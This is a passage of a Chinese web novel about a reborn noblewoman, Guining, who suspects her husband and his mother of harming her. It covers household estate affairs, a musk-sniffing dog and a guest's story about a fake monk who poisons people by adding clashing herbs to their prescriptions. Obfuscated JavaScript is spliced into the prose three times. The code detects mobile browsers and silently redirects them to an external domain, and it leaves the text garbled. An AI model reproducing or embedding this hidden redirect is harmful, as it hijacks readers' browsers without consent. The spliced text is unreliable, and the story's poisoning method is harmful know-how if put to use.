邓氏亦温声道：“回去吧，让我们姐妹俩说几句体己话。” 金凤簪拿了回来，萧元绰也暗中松了口气，转身再次进了屋。见归宁靠在丁香色大引枕上，正在绣一个香囊，走近一瞧，是明月青松的图样，和他的字“青然”很配。 萧元绰悄悄坐在她身旁，静静地观瞧了片刻，道：“等绣完这个，再给我绣一个梅花图样的吧。” 归宁莞尔，“这个还没好呢，夫君就惦记下一个了？” 萧元绰点点头，凑了过来，一手揽上归宁的削肩，低低道：“听说女人生孩子很凶险，咱们不着急，慢慢来，好不好？” 归宁笑容一滞，静默几息才道：“听夫君的。” 萧元绰轻轻吻上她光洁的额头，“阿宁，咱们一定会白首偕老的。” 是么？可前世她不到三十岁就病故了。余生不用再应付她，他应该活得轻松自在才是。 母亲坚信是邓氏从中捣鬼，今日一试，对夫君也是失望的吧…… 21. 庄头 归宁将脸埋在他胸口，听着一声声沉稳的心跳，再未言语，违心之言，她不似他，能张口即来。 见他拥着自己不说话，这种诡异的平静让归宁不安，随意找了个话头道：“夫君，年关将近，户部很忙吧？” 萧元绰嗯了一声，“要审阅各部门提上来的预算，礼部庆典要钱，工部修宫殿要钱，吏部发俸禄要钱，兵部练兵粮草军械更是离不开钱呀。” “朝廷现在……” 国库空虚，入不敷出。 归宁道：“皇上即位之后，就下令解除了海禁。商贸较前些年更加繁茂，国库理应充盈才是。” 萧元绰道：“解除海禁，有利有弊。好处自然是促进民间出海贸易，坏处是海寇更加猖獗，军费开支更巨。” “再有，本朝税制繁杂，各种税赋计算起来异常麻烦。百姓负担重，真正送到国库的税银却有限。” 归宁附和道：“看来朝廷的家也难当呀！” 说起当家，萧元绰借机道，“咱们府上这家也不好当，这些年为难你了。” “吴明监守自盗，送官查办。那些被吴明偷卖的东西，都是祖母留下来的，我想办法再赎回来。至于母亲让秦管事买的那些地，可以先将地契拿给邓家，等邓家有了钱，再还回来，你看怎样？” 归宁柔声道：“邓家是母亲的娘家，与咱们原本也是一家人，也没什么不行。只是一旦传出去，今日邓家如此，明日堂叔堂伯三姑六婆，那些萧家的亲戚都如此，可怎么办呀？” 萧元绰道，“这你就不用操心了，我也有一些家私，先替母亲把这账填上，下不为例。” 归宁暗中撇了撇嘴，他的钱还不是外祖母留给他的，外祖母最不喜邓氏，可她的宝贝孙儿，还是这么向着他的母亲。 “以后母亲不会插手任何家中庶务，你放心。” 他既有决定，归宁不好再多言，二人相拥片刻，归宁就挣脱出来，继续低头绣荷包。 年底户部最忙，萧元绰小坐片刻，起身回了书房。 此时宋娘子已经坐上回家的马车，柳妈妈上前，关切道：“娘子怎么样？试出来了吗？” 宋娘子失望地长叹一声，“青然变了，变得我都有些不认识了。” 归宁根本没有想着要让母亲去修簪子，她只是找了一个借口，看萧元绰的反应，他果真很紧张。 他与邓氏一唱一和，簪子上的秘密，他不可能不知道。经此一试，宋娘子对萧元绰失望透顶。 她实在不明白，她自幼看着长大的孩子，为什么要害她女儿。当初是他心甘情愿要娶的呀，没有人逼他。怎么守孝回来，人就变了呢？ 柳妈妈在一旁劝慰道：“姑娘让唐妈妈查一下邓家，咱们也帮着打听打听？” 宋娘子微微点了点头，突然道：“我打算去一趟应天。” 柳妈妈微惊，“什么时候？” “越快越好。” “这天寒地冻的，娘子的身子未必熬得住呀！” “青然在应天守孝时，定然是发生了什么才会这样，我得回去一趟。” “回去娘子找谁问呢？单妈妈早就过世了，秦妈妈送完老太太在回来的路上被水匪推入河中，淹死了。”老太太过世后，单妈妈一家人就扶灵柩回了应天老宅，可刚到应天，就染了风寒，不久之后过世。 这番话点醒了宋娘子，抓着柳妈妈的手道，“你有没有觉得太巧了，她们两个都是我母亲身边的人，护送灵柩回了应天之后，都莫名其妙丢了性命。” 柳妈妈有些犹豫，“一个是风寒，一个是意外，或许就是巧合。” 宋娘子心中隐隐升起一股不祥之感：“我觉得不是。”她突然有个想法，但还是要征求单家的同意。还得她亲自去一趟应天，这事才好解决。 且不论宋娘子怎么安排，再说那吴明，自从被送官之后，没多久就传来他在狱中畏罪自杀的消息。 姜妈妈没有出现，还是邓家的一个下人过去给他收了尸。消息是经唐妈妈之口，传到归宁的耳朵里。 沉吟片刻，她才道：“邓家的事，有眉目了吗？” 唐妈妈道，“有了一些。据说邓家一年多以前把祖宅都抵押出去了，差点儿被人收走，邓睿江的官职还是花钱捐的。” “邓家之前应该是欠了别人一大笔钱，靠着咱们太夫人接济，应该是挺过来了。” 归宁不解，“做什么欠了那么多钱。”一个官宦之家，即便不会大富大贵，也不至于四处借贷过活呀。再说，邓氏的堂哥，生前都做到了千户的位置，好歹也攒了些家私。 难道是邓睿江有什么恶习？看那仪表堂堂的模样，也不像啊。 归宁努力回忆前世的种种，也没有找到线索，或许是邓氏伪装的太好，没有破绽留给她。依目前所见，邓家之事迷雾重重。 萧元绰为人十分聪慧机警，时间拖得久了，他定会发现归宁对他抗拒和躲闪，到时候就真不好办了。 她必须要抓紧。 ** 转眼到了十冬腊月，寒风侵肌。年关近，庄头们纷纷携年货入京贺岁，趁机拜一拜伯府的新主子。 前些年家中长辈过世，刚袭爵的萧元绰又不在府中，重孝期间，女眷极少走亲访友，大年都过得冷冷清清。 弘文伯府嫡支人丁不旺，守孝期间又少了人情往来，消耗不了太多东西。归宁就让庄子上将东西折成现银送来，各式珍禽走兽、五谷杂粮及干货果脯等送来少许，足够府中女眷过年吃喝即可。 然，今年萧元绰回来，归宁提前让人给庄头们送了信，让他们恢复外祖母在时的规矩，按往常送年货过来，多余的东西，可以给族中亲戚分一分，也可借送年礼恢复与同僚上级等的走动。 萧家祖籍是应天，那里有萧家的祖产。因应天距离京师太远，往年那里的庄头都是直接将银票和年礼送给在祖宅守灵的萧元绰，今年归宁也没听到动静，大概是萧元绰自有安排，或许当做体己给拿去给邓家补窟窿了。 另外归宁外祖母娘家的祖籍是山东，外祖母在离京师更近的山东有两处陪嫁的庄子，这次进京送年货的就是山东来的庄头。 过来的刘庄头说，今年山东大旱，收成不好，命人送来的东西比去年还要少，更是比不得外祖母在时的情况。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541657|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧元绰下午命人收了这些鹿猪牛羊、鸡鸭鹅兔等活物，又命厨房将海产干货、五谷杂粮、果脯坚果等物分类收好，将年货单子命人拿给后院的归宁。 归宁已经休养了七七八八，眼下正在准备走亲访友的年礼。见到南烟手中的年货单子，拿出往年的清单，还有外祖母在时山东庄子每年按例送来的年礼，比着看了看。 从外祖母去世第一年，部分折成现银开始，归宁就发现，银货不对等，按外祖母在时的份例折算，减少的年货按市价的八成算也不是只有这些银两。只是萧元绰不在府中，家里没有能撑起来的男丁，她只好笑着收了东西，没有发作。 往后两年，年年寻借口收成欠佳，今年依旧。 萧元绰晚间回来后，夫妻二人用过晚饭，说了些过年的安排，归宁将山东庄子的事一并说了，“外祖母在时，庄头心有敬畏，每年的地租收成可不止这些。” “夫君之前不在府中，我也不敢胡乱做主。今年我听从山东回来的商队说，山东旱灾严重的是滨州，武定州影响不大。” “夫君是不是派个人过去看看？” 萧元绰认为不算什么大事，淡然地将碗中的汤喝完，道：“老仆欺幼主，历来皆不罕见，我叫来敲打敲打就是了。等开了春，再派人去转一圈也不迟。” 归宁不敢掉以轻心，前世就是让刘庄头将私吞的租子补齐，闹出了人命官司，还差点儿为此牵连萧元绰的官声。外祖母将萧家所有的产业都留给了萧元绰，唯独将自己当年陪嫁的庄子给归宁打理。虽然都是萧府的东西，但这几个庄子更像老人家赠给归宁的私产。不过归宁不贪，还是将每年的进账划到公家。 今时今日，归宁本可借前世之事，假他人之手，闹大山东庄子的命案，踩萧元绰一脚，换得逃脱牢笼的机会，可她却不愿意。 百姓何其无辜，她若生了此心，与面甜心苦的萧元绰又有什么区别？ 静默片刻，归宁道：“大过年的，刘庄头过来一遭也不容易，俗话说迎面不打笑脸人。等过了年，夫君亲去巡一巡庄子，也不惊动他。等查明了，再行处置。” 归宁心里打算：如果能借山东庄子之事，年后将萧元绰支出去几天，既能处理了庄子上的事，还能让自己多几天缓冲的时间，就再好不过了。 年底事忙，萧元绰道，“我另外派人去就是。”轻飘飘一句话就打破了归宁的幻想。 归宁不甘心，又道：“这刘庄头滑溜得很，外人恐怕不行。”为了说动他，又添油加醋地将刘庄头的欺主之事以及可能的后果唠叨了一番，最后又道，“两个庄子每年的进项比外祖母在时少了一万两，佃户们只知有刘庄头，不知有萧家，夫君不去一趟，恐怕难以压住这些老仆。” “另外，除了顺天府的人情往来，应天那边的官员往来也不能落下，而且萧家不少族亲在应天，这些族人虽远，但外祖母在时定了规矩，也不能苛待了。萧家刚出了吴明，若是其他庄头也学刘庄头这般，萧家恐要塌架子，夫君需要拿刘庄头做个典范。”为了达到目的，归宁仍在努力。 萧元绰有些不耐烦，道：“你放心，我自有人选。” 22. 母亲 见归宁一脸失落，宋娘子又拉起萧元绰的手，将二人的手叠放在一处，双手紧紧握住道：“青然，我不在京师，你好好陪陪阿宁。以前都是她一个人撑着，现在你好不容易回来了，可不许委屈了她。” 萧元绰握住归宁微凉的指尖，缱绻笑容从眼底荡开，“姑母放心。” 宋娘子这才安下心来，热情地招呼道：“我这里有不少刚从海外得来的新奇玩意儿，青然你去瞧瞧，有什么入眼的，直接拿走，自己用或者留着送人都行，这东西别处还不一定有。” 萧元绰在这个利落洒脱的姑母面前也不端着，笑道：“那我就不客气了。”正好他要为恩师选件年礼，现在还没有想到更新颖合适的东西。 宋娘子知道自己在一旁看着，萧元绰多少有些不自在，转头又对归宁道，“你陪我去西屋看看，那里有刚到的料子，还有四匹缂丝，你跟我去拿。” 话讫，不由分说地拉着归宁去了西屋，回头还不忘对柳妈妈吩咐道：“拿个箱子，看青然喜欢哪个，直接包好让他带走。” 母女二人一前一后进了屋子，宋娘子见萧元绰没有跟过来，果断关好门。 归宁率先道：“真有弟弟的消息了？” 宋娘子重重叹了口气，“不过是个说辞，我回应天是要见见单嬷嬷的家里人，问问他们，这几年到底发生了什么，让青然变成了这个样子。” “母亲，那我……”归宁不知道自己该怎么办，是接受萧元绰，与他保持着貌合神离的夫妻情分，还是继续躲着他。 宋娘子身边只有这一个女儿了，怎舍得她受苦，拉着她的手，温声道：“你对他还有情分吗？” 归宁紧摇头，“没有了，也不敢有。母亲，我想归家。” 宋娘子面笼愁色，“若是离了弘文伯府的庇佑，仅凭我们娘俩，以后恐怕就要过苦日子了。”她很清楚，自己的生意做得风生水起，没有人敢明目张胆地欺负她这个女流，还不是看在弘文伯府的面子上？ 经历前世之伤的归宁，一心向前看。亲手杀了自己的那种万蚁噬心之痛，她不想再来一次。 归宁道：“母亲，我们可以去福建。那里是小周王的封地，也更方便出海做生意。若是能找到弟弟，咱们一家三口好生过日子。若是不能，就让小周王做主，给宋家过继一个孩子，承袭宋家香火。余生归宁只想守着母亲好好过日子。” 想起被束缚在牢笼中一生不得挣脱的前世；想起母亲突然撒手人寰；想起自己操劳一生，却成全别人的荣华富贵，到头来身后无人，被世人嘲笑，只能将宋家祖上基业拱手相送；归宁越说越委屈，忍不住红了眼眶，“母亲，与毒蛇为伍，时刻担心被咬一口的日子，女儿一天也过不下去。” 宋娘子心疼地将女儿搂在怀里，轻拍她的后背安慰道：“阿宁不怕，母亲还在呢。宋家的东西，落不到她姓邓的手上。” “青然是我看着长大的，不过他让我太失望了。他最近有没有为难你？” 归宁抹了抹眼角的泪，微微哽咽道，“不曾，年底很忙，他一直宿在前院。” “都怪母亲，当初就不该一时心切应了这门亲事。母亲这次一来一回怎么也要两个多月，你寻个机会，再装病几日，等母亲回来。” 归宁见母亲支持自己，心中终于有了底，“母亲，我知道该怎么做，你此行要小心。” 母女两个说了几句贴心话，归宁选了几匹绸缎，四匹宋锦，四匹缂丝，宋锦和缂丝都是极为珍贵的料子，宋娘子这次拿出来也是让归宁去送礼走动用。 而那边萧元绰相中了一个从来没见过的西洋自鸣钟，宋娘子见状笑道，“还是青然眼光好，这东西在我朝估计是独一份。得来也巧，出海的商队在西洋遇到了一船从西边来的商旅，他们高鼻梁，蓝眼睛，黄头发，和我们中原人长得不一样，他们的船被海浪打翻了，货物也被海浪走了，身上没有银钱，被困在了当地。商队好心，聘请他们帮忙，付了足额的工钱，让他们有钱买船回家。他们出于感激，就将这东西作为谢礼，送给了商队。” “他们也不会用，巴巴地送到了我这里，我瞧着稀罕，打赏了些钱，留了下来，不过也不知道这东西怎么用。说是能看时辰，报时比咱们这里的打更都准。” 宋娘子见萧元绰着实感兴趣，又道：“不过它好久没响过了，据说刚拿到手时，还会摆动。也不知道是不是坏了。” 归宁走上前瞧了瞧，对认真研究的萧元绰道，“不如拿去姚家给三表弟瞧瞧，他那是金手，估计到他手上就能修好了。” 萧元绰深觉有理，“改日请他来府里坐坐。” 萧元绰除了选了这个西洋钟，还挑了一盒未曾雕琢的璞玉，正所谓玉不琢不成器，毛料只有经过老师傅的手精雕细琢，才能出惊世骇俗之作。 宋娘子热情地留二人用饭，菜式也都按二人口味准备的，让萧元绰不好推拒。 三人有说有笑，其乐融融。酒足饭饱之际，柳妈妈抱着一个毛茸茸的小东西走了进来，宋娘子见状，忙招了招手，笑得满脸欢喜，“诶呦，你怎么把它抱来了，快抱过来给我瞧瞧，这几日是不是又长胖了。” 等凑近了归宁和萧元绰才瞧清楚，原是一只小狮子狗，奶萌可爱，咧着嘴任由宋娘子逗它。 归宁的心瞬间被融化了，从母亲手中将它抱过来，笑道：“母亲，送给我养吧。” 宋娘子眉眼一凛，“那不行，就你整日忙得脚不沾地的，再给养死了。” 归宁道：“母亲放心，屋里除了我，还有周嬷嬷她们呢，不会饿着它的。” 见母亲犹豫不决，归宁将小狗抱在怀里，“母亲不日将远行，带着它也不方便，我就代母亲照顾两个月。” 宋娘子忍不住笑道，“等养熟了，就成你的了。” 归宁暗中拉了拉萧元绰的衣角，示意他帮自己说话，萧元绰嘴角漫出浅浅的笑意，也跟着劝道：“姑母，就让她养着吧。” 宋娘子这才松口，“看在青然的面子上，给你养。” 心愿达成，归宁冲着萧元绰感激一笑，“还是夫君说话管用。” 萧元绰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541658|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着这张明艳的笑容，只觉有什么东西堵在胸口，压得他有些喘不过气来。余生漫漫，一切在他得知父亲死亡真相的那一刻，早已身不由己。 一切的情绪都化为眼底的波澜不惊，淡淡一笑，应了句：“你喜欢就好。” 夫妻二人用过饭，满载而归。因着归宁从母亲这里拿了不少好料子，还有些新奇的首饰和名贵的药材，柳妈妈帮忙搬上车，趁着萧元绰还在研究那个西洋钟的功夫，在归宁耳边悄悄道：“姑娘，娘子说了，这狮子狗的嗅觉很灵，娘子特意找人训练过了，能闻出麝香的味道。娘子问过郎中，说麝香用多了，会导致女子月信不调，经血淋漓不止，腹痛难忍，很难受孕，姑娘千万要多多注意。” 归宁闻言，如遭五雷轰顶。这些症状，前世在萧元绰归来之后，陆陆续续就开始有了，刚开始只是腹痛难忍，慢慢到后来演变成月信的前两天经常疼得都起不来床。 她怕萧元绰担心，每次都强撑着。 管家琐碎之事繁多，她生性要强，不想授人以柄。她原以为是自己操劳所致，却不知是枕边人对她的报复与提防。 后来小产之后，月信间隔时间变短，每次持续时间变长，腹痛越来越重，这才请了刘御医过来帮忙调理。吃了刘御医的药，除了每次都腹痛之外，其他症状都有所改善。 直到她病故之前，每个月来小日子的那段时间都是最难熬的。这些苦痛，她从未对萧元绰吐露半个字，都是自己一个人悄悄地忍着。 那些令她倒胃口的苦药，她也从未落下过一顿，只想此生能有个孩子，为萧家延续香火。 即便身子再不适，她也将府内管理的井井有条，帮他出谋划策，在她短暂的一生，一切都是围着萧元绰在转。 却不知自己的枕边人，在归来的那一日，已经向她露出了毒牙。 今生何其有幸，能在母亲还在时，重新归来。也怪不得前世他们要对母亲下手。有这样的母亲护着她，饶是他们想算计宋家，也没那么容易。 外祖母为了萧家基业，母亲为了守住宋家，都选了一条无比艰辛且孤独的路。归宁现在明白，母亲当然毅然决然离开弘文伯府，重振宋家，何尝不是为了给她这个女儿底气，让她受了委屈，有家可归。 没了外祖母的萧家，已不再是她们母女遮风挡雨之地。 归宁抚摸着怀中乖巧的小狗，投向萧元绰的眼光，多了几分失望。回程之时，两人同车，归宁一直在逗这个小东西，连一个眼神都不想给萧元绰。 她怕自己控制不住内心的仇怨，让他瞧出不妥来。 萧元绰以为是姑母要远行，不能陪她过年，心中难受，开解道：“听说北部边境不稳，表舅今年要镇守在山海，不能回京师过年。不如今年咱们就让表舅母家的几个表姐妹和大姐姐都来萧家小住几日，好热闹热闹。” 萧家是归宁当家，安排什么都方便，没有长辈约束，她们过来小住会更自在些。 归宁头也没抬的应了一声。 萧元绰见她闷闷的，也不再开口说话。 23. 配药和尚 接下来几日，萧元绰和归宁二人先去拜访了杨阁老，归宁将从母亲那里拿的一匹缂丝、一匹苏绣，再有一盒人参送给杨老夫人，笑道：“老太太，这是我代母亲送给您的。”此外又送了一套景德镇官窑出的青花瓷器，“这是萧家孝敬您的。” 杨老夫人笑道：“怎么还分两家送？” 归宁笑道：“宋家虽只剩下母亲，可也不能没了规矩。” 杨老夫人招手让她坐在身旁，“怎么不见你母亲？” 归宁将母亲南下的消息说了，惹得杨老夫人一阵艳羡，“还是年轻好，我年轻的时候，在扬州住过几年，现在这把老骨头动不了了，若是能动，真想回去看看。” 她喜欢听昆曲不是没有缘故，幼时她跟着当通判的父亲在扬州住过一段时间，那时候刚刚丧母，父亲政务繁忙，她就一个人孤零零的坐在河边，听对面咿咿呀呀的昆曲解闷。 下雨天，身边的老嬷嬷撑着伞，对她说，“姑娘，回去吧。” 可她迷恋那戏曲中的缱绻温柔，不愿离开，河对面的窗子打开了，有个漂亮的女人探出头来，对她挥了挥手，命身旁的丫头将刚刚做好的如意酥端给她吃。 她不知道住在河边阁楼上的漂亮女子出自哪家哪户，只觉得她笑起来像极温柔的母亲，那如意酥甜香酥脆，每一口都吃进了她的心底。 那婉转悠扬的昆曲，安慰了她每个寂寞难熬的夜晚。那时小，她不知道女子是何人，如今活到这把岁数明白了，她们有个异常残忍的名字，叫“扬州瘦马”，是专门给达官显贵消遣的玩物。 她不知道那名女子后来怎么样了，猜测大概不会太好。后来她迷上了昆曲，但凡能哼上两句，她都会给赏钱。只是曾经那个用曲声温暖了她黑夜的人，再也找不见了。 这段往事杨老夫人不曾对任何人提起，只是今日听说归宁的母亲又下了江南，才触动过往的回忆，感慨一番世事无常。 到了含饴弄孙之年，本该是享清福的时候，可当年的老姐妹一个个都离她而去，难免有些唏嘘。 大过年的，不该想这些伤心之事，杨老夫人很快调整了情绪，陪屋里的女眷说说笑笑。 归宁也跟着说了些家里长短，无意间提起要去明渊寺许愿，话头刚落就有人突然插了一嘴，“你们听说没，明渊寺那边最近出了一件大事。”说话的正是今日来杨家做客的大理寺丞之妻范氏。 前世归宁与她有些渊源，范氏的哥哥科举屡试不第，一气之下以经商为名，四处游山玩水，后来在广东一带遇到了海难，没了踪迹。范氏急得团团转，归宁当时正派人在那一带寻找许大夫的下落，闻听之后，主动找上门去，说愿意帮忙打听打听。 消息递出去大概有一年才传回音信，那时范家心灰意冷，已经放弃了，陡然传回消息，激动地有些不敢置信。 人被冲到了一个荒岛上，被过往的船只找到了，范氏为这事特意登门拜谢。 她不知道，她去世后，范氏曾经哭到晕厥，也不知道，她以死为局，有人愿意抛弃眼前的荣华富贵，也要帮她一把。 不过眼下二人还没有那么深的交情，归宁眼下只当范氏是寻常官眷。 听她说得一脸严肃，众女眷忍不住好奇，“什么事儿？” 范氏喝了口茶，润了润嗓子道，“明渊寺后山，有个破旧的土地庙，庙里住着一个老和尚，不过他可不是明渊寺的人，而是一个伪装成出家人的俗人，非常擅长配药。” 众女眷不解，“配药，配什么药？” 范氏压低声音道：“配毒药。” 众人你看看我，我看看你，都跟着呼吸一窒，不敢多问，杨老夫人见多识广，睨了范氏一眼，“快说，别吊人胃口。大过年的，我们就当个故事听听。” 这事没有定案，范氏本不该乱说，据说这老和尚做了不少孽，她又是个藏不住的，索性一五一十地说了个干净：“这老和尚有个本事，精通药理，可以根据病人正在吃的药，加一两味相克的药也就是俗话说的‘反药’进去，神不知鬼不觉地杀人，即便查出不妥来，那看病的大夫为了摘清自己，保全自己的名声，也不敢乱说。何况大多时候根本查不出缘故来。” 见众人还是有些不解，继续道：“譬如，若是有人要保胎，只要拿到大夫开的保胎药的方子，针对方子配一两味相克的药，磨成细细的粉或配成遇水即化的药丸，不管是撒入汤药里，还是混进食物里，都察觉不出来。这样的保胎药喝久了，就成了落胎药。” “或是如果有人染了风寒，该用辛温发散的药，偏要添一两味酸涩收敛的药，吃药不仅无用，反而越治越病，拖到最后病气入肺，也就无力回天了。” “若是上了年纪的人，需要甘温补虚，好生将养，若混上苦寒泄实之药，不消一个月，就会越补越虚。” “额外加的药本身也不是毒药，只不过和已有的药相配会产生较大的副作用，或者降低药效。不会表现出任何中毒的症状，很难查清。除非当面抓个正着，拿贼拿赃，才能把人治罪，而且也不是所有的药方都方便做手脚。” 内宅的女眷大门不出二门不迈，都养得娇贵，一场风寒足以夺去不少人的性命，若是再有人背后下黑手，当是在劫难逃。 归宁闻言，不由得背后生出一身冷汗，脸庞煞白。邓氏喜欢礼佛，每月十五都会去明渊寺。可那个时候，这个老和尚应该已经不在了吧？ 她不知道自己前世有没有被算计，只是明渊寺让她不由得多了一丝提防。 她觉得自己前世真是活得糊里糊涂，至死都不知道自己是怎么被人一步步算计的。 都是内宅女子，晓得内宅里见不得光的弯弯绕绕，对这个老和尚都心存忌惮，范氏话音才落，紧接着就有人问道，“那这事儿是怎么发现的？” 范氏也只知道个大概，“一个盐商富户的府上，正妻和平妻为了家产争了好多年，在对方那里都安插了眼线，这才把这个老和尚牵扯出来，将案子告到了大理寺。” 又有人问，“这是造了多大的孽呀，那个老和尚抓住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541659|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没？” 范氏道，“那老和尚在逃跑时不慎滚落山坡，已经摔死了。” 归宁闻言，心中暗暗松了一口气，果真那个老和尚已经死了，邓氏应该不认识他。 范氏颇有些郁郁不平，“这个老和尚是一死百了了，就不知道有多少人被人暗算，丢了性命，据说隔三差五就有人上门找这老和尚，有是许愿的，还有还愿的。” “这老和尚也从不与施主面见，每隔几日去一趟土地庙。土地庙塑像下有个机关，打开底下有个堀室，施主们只要将锁好的许愿箱从小洞口处扔下去即可，许愿箱里面都放着一纸药方还有几张银票。” “老和尚有进入堀室的暗门，每隔半月去取一次，帮施主们还愿。出钱少的，他看不上，将锁好的许愿箱藏在供桌下，等人来取回。办不到的，给再多钱，他也不接。” 众人闻言，都跟着唏嘘一场，闻听范氏一番话，今天算是长了见识。 在场都是年轻的媳妇，哪里听说过这等腌臜的害人手段，都一个个面色惨白。谁没有个三灾两痛，病中本就虚弱，再被人算计了去，想想都觉脊背发凉。 杨老夫人见状，笑道：“就当个故事听听。你们谁的家里不是和和顺顺的，不要自己吓自己。” 言罢睨了范氏一眼，“你也是，大过年的，非要讲这些鬼故事吓人。这故事大家就是听个乐呵，可别出去乱说了。都是些没头没尾的事。” 范氏也跟着圆场，笑呵呵道，“都是我一时嘴瓢，说故事没个分寸。” 范氏今日说起，也是好心提醒大家。杨老夫人怕事情传开影响不好，说了几句重话。 杨老夫人带头讲了一个笑话，众人也跟着笑起来。 又过了小半个时辰，天色渐晚，众女眷纷纷起身告辞，归宁也跟着萧元绰回了萧府。 每次见杨阁老，萧元绰都虚心请教，受益匪浅，今日依旧。路上一直想着阁老说得北疆边患之事，打算回去写一篇策论出来。 翌日他们本打算去大姐姐家拜会，赵家提前送来消息，说萧元荷陪着赵太太从三河探亲回来后，直接去了京郊的温泉山庄，要在那里小住两日，才会回府。 今年是萧元绰守制结束后回京的第一年，亲戚们理应一一拜访。既然赵家不方便，二人就先去了盛昌伯姚家。 当日朔风凛冽，归宁和萧元昕一车，萧元绰独坐一车。归宁还让萧元昕将最近绣的帕子带上，拿给卢夫人当见面礼。 卢夫人生三子一女，长子追随盛昌伯在山海防御北方边患，次子在神枢营任千总，三子就是与萧元昕定了亲的姚瑾若，现在无官无职，也无功名。此外还有妾室生的一个庶子，还不满十岁。 卢夫人所生一女在众小姐中行二，另还有妾室生的大姑娘和三姑娘。 几位姑娘都是最小的十三，最大的十六，已经定了亲，两位小的还没说定人家。 萧元昕比姚家的几位姑娘小，大家都很照顾她，众人刚到，大姑娘领头，带着小丫头去后花园赏花喝茶去了。 24. 姚家 卢夫人膝下育有三位嫡子，除了小儿子有些不务正业外，长子和次子都深受丈夫器重，自己正室夫人的地位无人可撼动。故卢夫人不似其他人家的嫡妻，打压妾室，不给庶出的姑娘好脸色。 姚家向来信奉多子多福，尤其是看到嫁到萧家的姑娘，也就是归宁的外祖母，因膝下无子，连爵位都险些保不住，就更信奉儿孙满堂的天伦之乐。 是以，卢夫人有些瞧不起生了两个儿子，都拼命给妾室灌避子汤的赵太太。现在儿媳妇生了个儿子，闹着不许丈夫纳妾，她也无计可施。 不过卢夫人更瞧不上年轻时的邓氏，不仅无能管家，还整日和妾室怄气的小家子气。现在成了太太，为人宽厚谦和了不少，可对待庶出的姑娘还是一副不管不问的模样。所以她每次见萧元昕，打心眼里心疼这个丫头。也知道自己的小儿子越长越不争气，总想着弥补一二。 当日见赵太太要陪着杨老夫人去看归宁，又见邓氏百般推诿，两个人她都不想深交，索性就不去凑热闹了。 萧元绰这孩子，自幼养在老太太身边，年纪轻轻科举及第，后又在翰林进修，前途不可限量，卢夫人是打心眼里喜欢。若不是萧元绰与归宁自幼一起长大，青梅竹马，老太太又一力撮合，卢夫人很想将府中的大姑娘说给萧元绰。 老太太想必也是看到了娘家的打算，为了巩固苏姚联姻，在萧二姑娘尚小时，就和姚家定下了亲事，将二姑娘抱到自己院中养着。可毕竟自己年纪大了，二姑娘又小，才刚学会识文断字，老太太就过世了。 如今归宁管家，二姑娘虽不似老太太在世时过得那样滋润，可也没被轻视。不过归宁总归是晚辈，邓氏那里也要顾忌一些。 这次见归宁将萧二姑娘带来，卢夫人很高兴，立刻让贴身丫头去后院伺候着，大冷天，别一时闹得尽兴，摔着碰着。 姚家三女，二姑娘为卢夫人亲生，但因出生时难产，险些憋死在娘胎里，出生后自带一些痴症，十几岁了还像五六岁孩童一般，天真无邪，无论卢夫人怎么费心费力的教，连亲戚都认不全，今日刚见萧元绰就道：“这位哥哥好面熟。” 明明幼时常常见面，还“青然哥哥”的叫个不停，几年不见就是生人了。卢夫人只能歉意的笑笑，对萧元绰解释道：“二丫头她记性不好，青然别和她计较。” 萧元绰笑着从背后变出一个草编的蝈蝈，递给姚二姑娘，转而对卢夫人笑道，“二妹妹这样也好，一生都会无忧无虑快快乐乐。” 姚二姑娘得了新巧东西，坐在一旁乖乖地玩儿。那孩子若是端端正正地坐在那里，不说不笑，真真是个瓷娃娃似的精致美人儿，可只要她开口，就能让人止不住的摇头，叹一句，“傻姑娘。” 卢夫人也渐渐心灰意冷，觉得二姑娘这痴症是治不好了。将心思放在教导大姑娘和三姑娘身上，两个虽非她亲生，但都乖巧懂事，很敬重她这个嫡母。 再说姚家的姑娘若是得以高嫁，还能不照看娘家？她和大爷迟早要走在儿女前面，二姑娘的后半生还要依靠哥哥、姐姐们的帮扶。 ** 后花园，几个小姐妹在玩儿五子棋，萧元昕不大会，姚大姑娘和姚三姑娘先玩儿了两局打个样。姚二姑娘总是在二人面前使坏，趁她们思考之际，抢先帮她们下子，两人也不恼，都摸摸二姑娘的小脑袋，道：“诶呀，我正是要往这里落子，就被你发现了，还是你聪明。” 二姑娘被哄得腼腆一笑，转头拉着萧元昕，让她陪自己玩斗草。姚大姑娘见状，起身拉着不谙世事的妹妹道：“元昕妹妹你陪三妹妹下棋吧，我带着二妹去摘梅花。” 这是树凋草枯的冬日，哪里有草可以斗？大姑娘只能想其他法子逗二姑娘。 